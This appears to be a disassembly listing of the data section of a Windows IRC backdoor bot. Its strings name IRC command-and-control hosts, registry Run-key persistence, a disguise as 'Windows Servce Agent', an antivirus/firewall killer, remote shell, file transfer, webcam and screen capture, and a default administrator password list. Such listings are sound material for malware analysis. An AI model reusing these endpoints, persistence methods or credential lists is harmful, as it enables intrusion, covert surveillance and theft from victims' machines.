aR6002FloatingP	db 'R6002',0Dh,0Ah      ; DATA XREF: ___:off_43C98Co
		db '- floating point not loaded',0Dh,0Ah,0
		align 4
aMicrosoftVisua	db 'Microsoft Visual C++ Runtime Library',0 ; DATA XREF: sub_4235C9+119o
		align 10h
asc_427C10	db 0Ah			; DATA XREF: sub_4235C9+F1o
		db 0Ah,0
		align 4
aRuntimeErrorPr	db 'Runtime Error!',0Ah ; DATA XREF: sub_4235C9+D3o
		db 0Ah
		db 'Program: ',0
		align 10h
a___		db '...',0              ; DATA XREF: sub_4235C9+BFo
aProgramNameUnk	db '<program name unknown>',0 ; DATA XREF: sub_4235C9+7Do
		align 10h
dword_427C50	dd 0FFFFFFFFh, 423DE5h,	423DE9h	; DATA XREF: sub_423CEC+5o
aSunmontuewedth	db 'SunMonTueWedThuFriSat',0
		align 4
aJanfebmaraprma	db 'JanFebMarAprMayJunJulAugSepOctNovDec',0
		align 4
aTz		db 'TZ',0               ; DATA XREF: sub_4247EC+Ao
		align 10h
aGetlastactivep	db 'GetLastActivePopup',0 ; DATA XREF: sub_424D78+3Do
		align 4
aGetactivewindo	db 'GetActiveWindow',0  ; DATA XREF: sub_424D78+35o
aMessageboxa	db 'MessageBoxA',0      ; DATA XREF: sub_424D78+24o
a1Qnan		db '1#QNAN',0           ; DATA XREF: sub_4256C2:loc_4257B7o
		align 4
a1Inf		db '1#INF',0            ; DATA XREF: sub_4256C2+D8o
		align 10h
a1Ind		db '1#IND',0            ; DATA XREF: sub_4256C2+C7o
		align 4
a1Snan		db '1#SNAN',0           ; DATA XREF: sub_4256C2+ADo
		align 10h
dword_427CF0	dd 0FFFFFFFFh, 4260BAh,	4260BEh, 0FFFFFFFFh, 426129h, 42612Dh
					; DATA XREF: sub_425F03+5o
		dd 427E2Ch
off_427D0C	dd offset loc_4264E2	; DATA XREF: sub_4264BA+8o
					; sub_4264FE+2Co ...
		dd offset sub_4264D5
		dd offset sub_4266F6
		dd offset dword_427E78
off_427D1C	dd offset sub_42654C	; DATA XREF: sub_4264FE+3Ao
					; sub_426568o ...
		dd offset sub_4264D5
		dd offset loc_426732
dword_427D28	dd 0			; DATA XREF: sub_4264FE+16o
					; sub_4265D0+16o
aInvalidStringP	db 'invalid string position',0 ; DATA XREF: sub_426573+11o
		dd offset dword_427EC4
off_427D48	dd offset sub_42665B	; DATA XREF: sub_426677o
					; sub_42669A+37o ...
		dd offset sub_4264D5
		dd offset loc_426714
aStringTooLong	db 'string too long',0  ; DATA XREF: sub_42669A+11o
		dd offset dword_427F08
off_427D68	dd offset loc_4267F7	; DATA XREF: sub_4267E2o
					; ___:off_43D0B4o ...
		dd offset dword_427F38
off_427D70	dd offset loc_426813	; DATA XREF: sub_42682F+8o
					; sub_42686C+8o ...
		dd offset sub_4268CC
aUnknownExcepti	db 'Unknown exception',0 ; DATA XREF: sub_4268CC+7o
		align 10h
dword_427D90	dd 0E06D7363h, 1, 2 dup(0) ; DATA XREF:	sub_4268D9+Eo
		dd 3, 19930520h, 2 dup(0)
dword_427DB0	dd 0FFFFFFFFh, 426A8Ah,	426A8Eh, 0FFFFFFFFh, 426B07h, 426B0Bh
					; DATA XREF: sub_426988+5o
dword_427DC8	dd 0FFFFFFFFh, 426CFFh,	426D03h, 0FFFFFFFFh, 426D5Ch, 426D60h
					; DATA XREF: sub_426C13+5o
		dd 43D0B4h, 2 dup(0)
		dd 0FFFFFFFFh, 2 dup(0)
off_427DF8	dd offset off_43D0CC	; DATA XREF: ___:00427E10o
					; ___:00427E5Co ...
		dd 1, 0
		dd 0FFFFFFFFh, 2 dup(0)
		dd offset off_427DF8
		dd offset dword_427DC8+18h
dword_427E18	dd 3 dup(0)		; DATA XREF: ___:00427E3Co
		dd 2, 427E10h, 3 dup(0)
		dd offset off_43D0CC
		dd offset dword_427E18+4
off_427E40	dd offset off_43D0EC	; DATA XREF: ___:00427E58o
		dd 2, 0
		dd 0FFFFFFFFh, 2 dup(0)
		dd offset off_427E40
		dd offset off_427DF8
		dd offset dword_427DC8+18h
		dd 0
		db    0			; DATA XREF: ___:00427E88o
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		dd 3, 427E58h
dword_427E78	dd 3 dup(0)		; DATA XREF: ___:00427D18o
		dd offset off_43D0EC
		dd offset unk_427E68
off_427E8C	dd offset off_43D10C	; DATA XREF: ___:00427EA4o
		dd 2, 0
		dd 0FFFFFFFFh, 2 dup(0)
		dd offset off_427E8C
		dd offset off_427DF8
		dd offset dword_427DC8+18h
dword_427EB0	dd 3 dup(0)		; DATA XREF: ___:00427ED4o
		dd 3, 427EA4h
dword_427EC4	dd 3 dup(0)		; DATA XREF: ___:00427D44o
		dd offset off_43D10C
		dd offset dword_427EB0+4
off_427ED8	dd offset off_43D130	; DATA XREF: ___:00427EF0o
		dd 2 dup(0)
		dd 0FFFFFFFFh, 2 dup(0)
		dd offset off_427ED8
		dd 0
		db    0			; DATA XREF: ___:00427F18o
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		dd 1, 427EF0h
dword_427F08	dd 3 dup(0)		; DATA XREF: ___:00427D64o
		dd offset off_43D130
		dd offset unk_427EF8
		dd offset dword_427DC8+18h
dword_427F20	dd 4 dup(0)		; DATA XREF: ___:00427F48o
		dd 1, 427F1Ch
dword_427F38	dd 3 dup(0)		; DATA XREF: ___:00427D6Co
		dd offset off_43D0B4
		dd offset dword_427F20+8
		align 10h
dword_427F50	dd 19930520h, 2, 427F70h, 5 dup(0) ; DATA XREF:	___:loc_426DF7o
		dd 0FFFFFFFFh, 426DE0h,	0
		dd offset sub_426DD8
dword_427F80	dd 19930520h, 2, 427FA0h, 5 dup(0) ; DATA XREF:	___:loc_426E14o
		dd 0FFFFFFFFh, 426E04h,	0
		dd offset loc_426E0C
dword_427FB0	dd 19930520h, 2, 427FD0h, 1, 427FE0h, 3	dup(0) ; DATA XREF: ___:loc_426E20o
		dd 0FFFFFFFFh, 0
		dd 0FFFFFFFFh, 3 dup(0)
		dd 2 dup(1), 427FF8h, 4	dup(0)
; ---------------------------------------------------------------------------
		retf	40D7h
; ---------------------------------------------------------------------------
		align 4
		dd 0FFFFFFFFh, 426E2Ah
dword_428010	dd 19930520h, 1, 428008h, 5 dup(0) ; DATA XREF:	___:loc_426E32o
		dd offset off_43D0B4
		align 8
		dd 0FFFFFFFFh, 0
		dd 0Ch,	42686Ch, 0
		dd offset off_43D0CC
		dd 0
		dd 0FFFFFFFFh, 0
		dd 1Ch,	426618h, 0
		dd offset off_43D0EC
		align 10h
		dd 0FFFFFFFFh, 0
dword_428078	dd 1Ch,	426682h, 3, 428064h, 428048h, 42802Ch ;	DATA XREF: ___:0042809Co
dword_428090	dd 0			; DATA XREF: sub_426573+2Eo
					; sub_4266F6+4Bo
		dd offset sub_426568
		dd 0
		dd offset dword_428078+8
		dd 0FFFFFFFFh, 426E3Ch
dword_4280A8	dd 19930520h, 1, 4280A0h, 4 dup(0) ; DATA XREF:	___:loc_426E44o
		dd 0FFFFFFFFh, 426E4Eh
dword_4280CC	dd 19930520h, 1, 4280C4h, 4 dup(0) ; DATA XREF:	___:loc_426E56o
		dd 0FFFFFFFFh, 426E60h
dword_4280F0	dd 19930520h, 1, 4280E8h, 5 dup(0) ; DATA XREF:	___:loc_426E68o
		dd offset off_43D10C
		align 8
		dd 0FFFFFFFFh, 0
dword_428120	dd 1Ch,	4266DEh, 3, 42810Ch, 428048h, 42802Ch ;	DATA XREF: ___:00428144o
dword_428138	dd 0			; DATA XREF: sub_42669A+2Eo
					; sub_4266F6+2Do
		dd offset sub_426677
		dd 0
		dd offset dword_428120+8
		dd 0FFFFFFFFh, 426E72h
dword_428150	dd 19930520h, 1, 428148h, 4 dup(0) ; DATA XREF:	___:loc_426E7Ao
dword_42816C	dd 2, 428048h, 42802Ch	; DATA XREF: ___:00428184o
dword_428178	dd 0			; DATA XREF: sub_4266F6+Fo
		dd offset sub_4264BA
		dd 0
		dd offset dword_42816C
		dd 4 dup(691A5189h)
		db 89h,	51h
; ---------------------------------------------------------------------------

loc_42819A:				; CODE XREF: ___:0042819Dj
		sbb	ch, [ecx+42h]
		jbe	short loc_42819A
		add	al, [edx+76h]
		sti
		add	al, [edx+76h]
		sti
		add	al, [edx+76h]
		sti
		add	al, [edx+76h]
		sti
		add	bh, [eax-4781ACF9h]
		pop	es
		push	ebx
; ---------------------------------------------------------------------------
		db 7Eh
		dd 3 dup(7E5307B8h), 7Ah dup(0)
		dd 7E5307B8h, 0
		dd 691A5189h, 15h dup(0)
		dd 2FB7642h, 2FCh dup(0)
dword_429000	dd 0			; DATA XREF: ___:0041B7A3o
		dd offset loc_401205
		dd offset sub_40D878
		dd offset sub_40D89A
		dd offset dword_40E504+1CFh
dword_429014	dd 0			; DATA XREF: ___:0041B79Eo
dword_429018	dd 0			; DATA XREF: ___:0041B794o
		dd offset sub_41D052
		dd offset sub_42026D
		dd offset sub_423936
		dd offset word_424752
dword_42902C	dd 0			; DATA XREF: ___:loc_41B78Fo
dword_429030	dd 0			; DATA XREF: sub_41B7D3+65o
		dd offset sub_4239DB
dword_429038	dd 0			; DATA XREF: sub_41B7D3:loc_41B833o
dword_42903C	dd 0			; DATA XREF: sub_41B7D3+76o
		dd offset byte_424763
dword_429044	dd 3 dup(0)		; DATA XREF: sub_41B7D3:loc_41B844o
dword_429050	dd 80000002h, 429174h, 80000002h, 4291A4h, 80000001h, 429174h
					; DATA XREF: sub_401000+7o
dword_429068	dd 6272h		; DATA XREF: sub_401000+63o
					; sub_4010AB+Bo ...
dword_42906C	dd 1B58h		; DATA XREF: ___:004016C5r
					; ___:0040175Ar
dword_429070	dd 0C8Bh		; DATA XREF: ___:004017A6r
dword_429074	dd 7E4h			; DATA XREF: sub_401ACD:loc_40461Br
dword_429078	dd 45h			; DATA XREF: sub_401ACD+2088r
					; sub_40BACD+3Br
dword_42907C	dd 7D1h			; DATA XREF: sub_401ACD:loc_403C43r
					; sub_40BACD:loc_40BEBEr
dword_429080	dd 201h			; DATA XREF: sub_401ACD:loc_403DCFr
word_429084	dw 7C7h			; DATA XREF: sub_401ACD:loc_40473Er
		align 4
dword_429088	dd 1			; DATA XREF: sub_401ACD+65Fr
dword_42908C	dd 1			; DATA XREF: ___:0040135Er
dword_429090	dd 1			; DATA XREF: ___:loc_401562r
					; sub_418359+Cr
byte_429094	db 2Eh			; DATA XREF: sub_401ACD+A92r
					; sub_401ACD+B4Br ...
		align 4
dword_429098	dd 0Ah			; DATA XREF: sub_40ACB5+3Ar
					; sub_40ACB5+60r ...
dword_42909C	dd 4			; DATA XREF: sub_4017ED+78r
					; sub_401ACD+279r ...
dword_4290A0	dd 1			; DATA XREF: sub_4017ED+72r
					; sub_401ACD+273r
aDark		db 'Dark',0             ; DATA XREF: ___:0040127Eo
					; sub_401ACD:loc_4044A0o ...
		align 4
aAbosel7V4	db 'abosel7 v4',0       ; DATA XREF: sub_401ACD:loc_404945o
		align 4
aCool		db 'cool',0             ; DATA XREF: sub_401ACD+7DDBo
					; sub_401ACD+7EAAo
		align 10h
aSaber_ircqforu	db 'saber.ircqforum.com',0 ; DATA XREF: ___:004016B1o
					; ___:0040174Bo
aFaak		db '#FAAK#',0           ; DATA XREF: ___:004016D1o
					; ___:00401761o ...
		align 4
aSaad_		db 'saad.',0            ; DATA XREF: ___:004016E8o
					; ___:00401773o
		align 4
byte_4290E4	db 73h			; DATA XREF: ___:loc_401789r
					; ___:00401797o
aAber_ircqforum	db 'aber.ircqforum.com',0
aFaak_0		db '#FAAK#',0           ; DATA XREF: ___:004017ADo
		align 10h
aSaad__0	db 'saad.',0            ; DATA XREF: ___:004017BFo
		align 4
byte_429108	db 6Dh			; DATA XREF: ___:00401364o
					; ___:00401388w ...
		db 73h,	6Eh, 6Dh
		dd 7261676Eh, 6578652Eh, 0
dword_429118	dd 6E6E6977h, 61622E74h, 74h ; DATA XREF: ___:00411C50o
aWindowsServceA	db 'Windows Servce Agent',0 ; DATA XREF: sub_401000+Eo
		align 4
asc_42913C:				; DATA XREF: ___:0040AD34o
		unicode	0, <->,0
aWinsys_dat	db 'winsys.dat',0
		align 4
aXI		db '-x+i',0             ; DATA XREF: sub_401ACD+7F26o
		align 4
aF		db '#f',0               ; DATA XREF: sub_401ACD+1D45o
					; sub_401ACD+303Fo ...
		align 4
aF_0		db '#f',0               ; DATA XREF: sub_401ACD+44A2o
		align 4
aF_1		db '#f',0               ; DATA XREF: sub_401ACD+40C4o
					; sub_401ACD+4216o
		align 10h
off_429160	dd offset a@admin_com	; DATA XREF: sub_401ACD:loc_4098FBo
					; "*@admin.com"
off_429164	dd offset aMircV6_16Khale ; DATA XREF: sub_401ACD+8C3r
					; sub_401ACD+7E4Ao
					; "mIRC	v6.16 Khaled Mardam-Bey"
		dd offset aMircV6_17Khale ; "mIRC v6.17	Khaled Mardam-Bey"
		dd offset aMircV6_20Khale ; "mIRC v6.20	Khaled Mardam-Bey"
		dd offset aMircV6_21Khale ; "mIRC v6.21	Khaled Mardam-Bey"
aSoftwareMicr_0	db 'Software\Microsoft\Windows\CurrentVersion\Run',0
		align 4
		db 53h
aOftwareMicroso	db 'oftware\Microsoft\Windows\CurrentVersion\RunServices',0
		align 4
aSoftwareMicros	db 'Software\Microsoft\OLE',0 ; DATA XREF: sub_419E79+28o
					; sub_41A19D+28o
		align 4
aSystemCurrentc	db 'SYSTEM\CurrentControlSet\Control\Lsa',0 ; DATA XREF: sub_419E79+D4o
					; sub_41A19D+D4o
		align 4
		dd offset aAdministrato_0 ; "administrator"
		dd offset aDb2		; "db2"
		align 8
		dd offset dword_43D158
		dd offset aAdministrato_0 ; "administrator"
		dd offset aAdministrador ; "administrador"
		dd offset aAdministrateur ; "administrateur"
		dd 0
dword_42923C	dd 10h			; DATA XREF: sub_401ACD+AFBr
					; sub_401ACD+B27r ...
aAdministrateur	db 'administrateur',0   ; DATA XREF: ___:00429234o
		align 10h
aAdministrador	db 'administrador',0    ; DATA XREF: ___:00429230o
		align 10h
aDb2		db 'db2',0              ; DATA XREF: ___:00429220o
aAdministrato_0	db 'administrator',0    ; DATA XREF: ___:0042921Co
					; ___:0042922Co
		align 4
aMircV6_21Khale	db 'mIRC v6.21 Khaled Mardam-Bey',0 ; DATA XREF: ___:00429170o
		align 4
aMircV6_20Khale	db 'mIRC v6.20 Khaled Mardam-Bey',0 ; DATA XREF: ___:0042916Co
		align 4
aMircV6_17Khale	db 'mIRC v6.17 Khaled Mardam-Bey',0 ; DATA XREF: ___:00429168o
		align 4
aMircV6_16Khale	db 'mIRC v6.16 Khaled Mardam-Bey',0 ; DATA XREF: ___:off_429164o
		align 4
a@admin_com	db '*@admin.com',0      ; DATA XREF: ___:off_429160o
dword_429300	dd 234032Dh, 6E656469h,	2036474h ; DATA	XREF: ___:0040168Co
aFailedToStartS	db '- Failed to start server, error: <%d>.',0
		align 4
dword_429334	dd 234032Dh, 6E656469h,	2036474h ; DATA	XREF: ___:00401641o
aServerRunningO	db '- Server running on Port: 113.',0
		align 10h
unk_429360	db  2Dh	; -		; DATA XREF: ___:00401614o
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 3, 2, 2Dh
aFailedToStartA	db ' Failed to start AV/FW killer thread, error: <%d>.',0
		align 10h
unk_4293A0	db  2Dh	; -		; DATA XREF: ___:004015C3o
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 3, 2, 2Dh
aAvFwKillerActi	db ' AV/FW Killer active.',0
		align 4
dword_4293C4	dd 234032Dh, 6E69616Dh,	202D0203h, 20746F42h, 72617473h
					; DATA XREF: ___:00401585o
		dd 2E646574h, 0
dword_4293E0	dd 25207325h, 25222064h, 2273h ; DATA XREF: ___:004014B0o
dword_4293EC	dd 255C7325h, 73h	; DATA XREF: ___:004013AAo
					; sub_415A2F+7Eo
dword_4293F4	dd 73257325h, 0		; DATA XREF: ___:0040132Eo
					; sub_40F6B3+EAo ...
unk_4293FC	db  2Dh	; -		; DATA XREF: sub_4017ED+F2o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aConnectedToS_	db 'Connected to %s.',0
		align 4
aNickSUserS00S	db 'NICK %s',0Dh,0Ah    ; DATA XREF: sub_401955+62o
		db 'USER %s 0 0 :%s',0Dh,0Ah,0
		align 4
aPassS		db 'PASS %s',0Dh,0Ah,0  ; DATA XREF: sub_401955+35o
		align 4
aModeSS_0	db 'MODE %s %s',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+7F2Eo
		align 4
aUserhostS	db 'USERHOST %s',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+7F16o
		align 4
unk_429464	db  2Dh	; -		; DATA XREF: sub_401ACD+7F09o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aUserSLoggedIn_	db 'User: %s logged in.',0
unk_429484	db  2Dh	; -		; DATA XREF: sub_401ACD+7EECo
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aPasswordAccept	db 'Password accepted.',0
		align 4
unk_4294A4	db  2Dh	; -		; DATA XREF: sub_401ACD+7E8Bo
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aFailedHostAuth	db '*Failed host auth by: (%s!%s).',0
		align 10h
aNoticeSHostAut	db 'NOTICE %s :Host Auth failed (%s!%s).',0Dh,0Ah,0
					; DATA XREF: sub_401ACD+7E62o
		align 4
unk_4294F8	db  2Dh	; -		; DATA XREF: sub_401ACD+7E24o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aFailedPassAuth	db '*Failed pass auth by: (%s!%s).',0
		align 4
aNoticeSYourAtt	db 'NOTICE %s :Your attempt has been logged.',0Dh,0Ah,0
					; DATA XREF: sub_401ACD+7E12o
					; sub_401ACD+7E79o
		align 10h
aNoticeSPassAut	db 'NOTICE %s :Pass auth failed (%s!%s).',0Dh,0Ah,0
					; DATA XREF: sub_401ACD+7DFBo
		align 4
asc_429578:				; DATA XREF: sub_401ACD+7DCBo
		unicode	0, <~>,0
unk_42957C	db  2Dh	; -		; DATA XREF: sub_401ACD+7D7Bo
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aRandomNickChan	db 'Random nick change: %s',0
		align 10h
unk_4295A0	db  2Dh	; -		; DATA XREF: sub_401ACD+7D0Bo
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aReconnectingIn	db 'Reconnecting in %s seconds',0
		align 4
unk_4295C8	db  2Dh	; -		; DATA XREF: sub_401ACD+7CC3o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aReconnecting_0	db 'Reconnecting in %s ms',0
		align 4
unk_4295EC	db  2Dh	; -		; DATA XREF: sub_401ACD+7CA1o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aNickChangedToS	db 'Nick changed to: ',27h,'%s',27h,'.',0
		align 10h
unk_429610	db  2Dh	; -		; DATA XREF: sub_401ACD+7C81o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aJoinedChannelS	db 'Joined channel: ',27h,'%s',27h,'.',0
		align 4
unk_429634	db  2Dh	; -		; DATA XREF: sub_401ACD+7C5Ao
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aPartedChannelS	db 'Parted channel: ',27h,'%s',27h,'.',0
		align 4
dword_429658	dd 234032Dh, 6E69616Dh,	202D0302h, 20435249h, 3A776152h
					; DATA XREF: sub_401ACD+7C3Ao
		dd 2E732520h, 0
unk_429674	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_409684o
		db 3, 34h, 2
		db  74h	; t
		db 68h,	72h, 65h
		db  61h	; a
		db 64h,	73h, 2
		db    3
aFailedToKillTh	db '- Failed to kill thread: %s.',0
		align 10h
unk_4296A0	db  2Dh	; -		; DATA XREF: sub_401ACD+7BB0o
		db 3, 34h, 2
		db  74h	; t
		db 68h,	72h, 65h
		db  61h	; a
		db 64h,	73h, 2
		db    3
aKilledThreadS_	db '- Killed thread: %s.',0
		align 4
unk_4296C4	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_4095FCo
		db 3, 34h, 2
		db  74h	; t
		db 68h,	72h, 65h
		db  61h	; a
		db 64h,	73h, 2
		db    3
aNoActiveThread	db '- No active threads found.',0
unk_4296EC	db  2Dh	; -		; DATA XREF: sub_401ACD+7B25o
		db 3, 34h, 2
		db  74h	; t
		db 68h,	72h, 65h
		db  61h	; a
		db 64h,	73h, 2
		db    3
aStoppedDThread	db '- Stopped: %d thread(s).',0
		align 4
aAll		db 'all',0              ; DATA XREF: sub_401ACD+7B0Bo
unk_429718	db  2Dh	; -		; DATA XREF: sub_401ACD+79FEo
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aPrefixChangedT	db 'Prefix changed to: ',27h,'%c',27h,'.',0
		align 10h
unk_429740	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_4094B2o
		db 3, 34h, 2
		db  73h	; s
		db 68h,	65h, 6Ch
		db  6Ch	; l
		db 2, 3, 2Dh
aCouldnTOpenFil	db ' Couldn',27h,'t open file: %s',0
unk_429764	db  2Dh	; -		; DATA XREF: sub_401ACD+79DBo
		db 3, 34h, 2
		db  73h	; s
		db 68h,	65h, 6Ch
		db  6Ch	; l
		db 2, 3, 2Dh
aFileOpenedS	db ' File opened: %s',0
		align 4
unk_429784	db  2Dh	; -		; DATA XREF: sub_401ACD+79B7o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aServerChangedT	db 'Server changed to: ',27h,'%s',27h,'.',0
		align 4
unk_4297AC	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_409467o
		db 3, 34h, 2
		db  64h	; d
		db 6Eh,	73h, 2
		db    3
aCouldnTResol_0	db '- Couldn',27h,'t resolve hostname.',0
		align 4
unk_4297D4	db  2Dh	; -		; DATA XREF: sub_401ACD+796Co
		db 3, 34h, 2
		db  64h	; d
		db 6Eh,	73h, 2
		db    3
aLookupSS_	db '- Lookup: %s -> %s.',0
		align 4
unk_4297F4	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_4093FCo
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 2, 3, 2Dh
aFailedToTermin	db ' Failed to terminate process: %s',0
		align 4
unk_429824	db  2Dh	; -		; DATA XREF: sub_401ACD+7925o
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 2, 3, 2Dh
aProcessKilledS	db ' Process killed: %s',0
unk_429844	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_409398o
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 2, 3, 2Dh
aFailedToTerm_0	db ' Failed to terminate process ID: %s',0
unk_429874	db  2Dh	; -		; DATA XREF: sub_401ACD+78C4o
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 2, 3, 2Dh
aProcessKilledI	db ' Process killed ID: %s',0
		align 4
dword_429898	dd 234032Dh, 656C6966h,	202D0302h, 656C6544h, 20646574h
					; DATA XREF: sub_401ACD+7884o
		dd 27732527h, 2Eh
unk_4298B4	db  2Dh	; -		; DATA XREF: sub_401ACD+7802o
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aSendFileSUserS	db '- Send File: %s, User: %s.',0
dword_4298D8	dd 234032Dh, 656C6966h,	202D0302h, 7473694Ch, 7325203Ah
					; DATA XREF: sub_401ACD+7785o
		dd 0
unk_4298F0	db  2Dh	; -		; DATA XREF: sub_401ACD+7754o
		db 3, 34h, 2
		db  76h	; v
		db 69h,	73h, 69h
		db  74h	; t
		db 2, 3, 2Dh
aFailedToStartC	db ' Failed to start connection thread, error: <%d>.',0
		align 10h
dword_429930	dd 234032Dh, 69736976h,	2D030274h, 4C525520h, 7325203Ah
					; DATA XREF: sub_401ACD+76E5o
		dd 2Eh
dword_429948	dd 234032Dh, 6372696Dh,	202D0302h, 6D6D6F43h, 20646E61h
					; DATA XREF: sub_401ACD:loc_40913Fo
		dd 746E6573h, 2Eh
unk_429964	db  2Dh	; -		; DATA XREF: sub_401ACD+766Bo
		db 3, 34h, 2
		db  6Dh	; m
		db 69h,	72h, 63h
		db    2
		db 3, 2Dh, 20h
aClientNotOpen_	db 'Client not open.',0
		align 4
dword_429984	dd 234032Dh, 2646D63h, 43202D03h, 616D6D6Fh, 3A73646Eh
					; DATA XREF: sub_401ACD+762Fo
		dd 732520h
unk_42999C	db  2Dh	; -		; DATA XREF: sub_401ACD+7610o
		db 3, 34h, 2
		db  63h	; c
		db 6Dh,	64h, 2
		db    3
aErrorSendingTo	db '- Error sending to remote shell.',0
		align 4
asc_4299C8:				; DATA XREF: sub_401ACD+75F8o
					; sub_40F6B3+FBo ...
		dw 0Ah
		unicode	0, <>,0
unk_4299CC	db  2Dh	; -		; DATA XREF: sub_401ACD+75CEo
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aReadFileFailed	db 'Read file failed: %s',0
		align 10h
unk_4299F0	db  2Dh	; -		; DATA XREF: sub_401ACD+75C1o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aReadFileComple	db 'Read file complete: %s',0
		align 4
unk_429A14	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_40901Eo
		db 3, 34h, 2
		db  63h	; c
		db 61h,	70h, 74h
		db  75h	; u
		db 72h,	65h, 2
		db    3
aInvalidParam_0	db '- Invalid parameters for amateur video capture.',0
		align 4
unk_429A54	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_409014o
		db 3, 34h, 2
		db  63h	; c
		db 61h,	70h, 74h
		db  75h	; u
		db 72h,	65h, 2
		db    3
aErrorWhileCapt	db '- Error while capturing amateur video from webcam.',0
unk_429A94	db  2Dh	; -		; DATA XREF: sub_401ACD+753Do
		db 3, 34h, 2
		db  63h	; c
		db 61h,	70h, 74h
		db  75h	; u
		db 72h,	65h, 2
		db    3
aAmateurVideoSa	db '- Amateur video saved to: %s.',0
		align 10h
aVideo		db 'video',0            ; DATA XREF: sub_401ACD:loc_408F86o
		align 4
unk_429AC8	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_408F73o
		db 3, 34h, 2
		db  63h	; c
		db 61h,	70h, 74h
		db  75h	; u
		db 72h,	65h, 2
		db    3
aInvalidParam_1	db '- Invalid parameters for webcam capture.',0
		align 10h
unk_429B00	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_408F6Co
		db 3, 34h, 2
		db  63h	; c
		db 61h,	70h, 74h
		db  75h	; u
		db 72h,	65h, 2
		db    3
aErrorWhileCa_0	db '- Error while capturing from webcam.',0
		align 4
unk_429B34	db  2Dh	; -		; DATA XREF: sub_401ACD+748Fo
		db 3, 34h, 2
		db  63h	; c
		db 61h,	70h, 74h
		db  75h	; u
		db 72h,	65h, 2
		db    3
aWebcamCaptureS	db '- Webcam capture saved to: %s.',0
aFrame		db 'frame',0            ; DATA XREF: sub_401ACD:loc_408EE5o
		align 4
unk_429B68	db  2Dh	; -		; DATA XREF: sub_401ACD+740Bo
		db 3, 34h, 2
		db  63h	; c
		db 61h,	70h, 74h
		db  75h	; u
		db 72h,	65h, 2
		db    3
aDriverListComp	db '- Driver list complete.',0
		align 10h
unk_429B90	db  2Dh	; -		; DATA XREF: sub_401ACD+73D8o
		db 3, 34h, 2
		db  63h	; c
		db 61h,	70h, 74h
		db  75h	; u
		db 72h,	65h, 2
		db    3
aDriverDSS_	db '- Driver #%d - %s - %s.',0
		align 4
aDrivers	db 'drivers',0          ; DATA XREF: sub_401ACD:loc_408E58o
unk_429BC0	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_408E45o
		db 3, 34h, 2
		db  63h	; c
		db 61h,	70h, 74h
		db  75h	; u
		db 72h,	65h, 2
		db    3
aNoFilenameSpec	db '- No filename specified for screen capture.',0
		align 4
unk_429BFC	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_408E3Eo
		db 3, 34h, 2
		db  63h	; c
		db 61h,	70h, 74h
		db  75h	; u
		db 72h,	65h, 2
		db    3
aErrorWhileCa_1	db '- Error while capturing screen.',0
		align 4
unk_429C2C	db  2Dh	; -		; DATA XREF: sub_401ACD+7361o
		db 3, 34h, 2
		db  63h	; c
		db 61h,	70h, 74h
		db  75h	; u
		db 72h,	65h, 2
		db    3
aScreenCaptureS	db '- Screen capture saved to: %s.',0
aScreen		db 'screen',0           ; DATA XREF: sub_401ACD:loc_408DFDo
		align 10h
dword_429C60	dd 234032Dh, 6E69616Dh,	202D0302h, 68746547h, 3A74736Fh
					; DATA XREF: sub_401ACD+7318o
		dd 2E732520h, 0
unk_429C7C	db  2Dh	; -		; DATA XREF: sub_401ACD+72D2o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
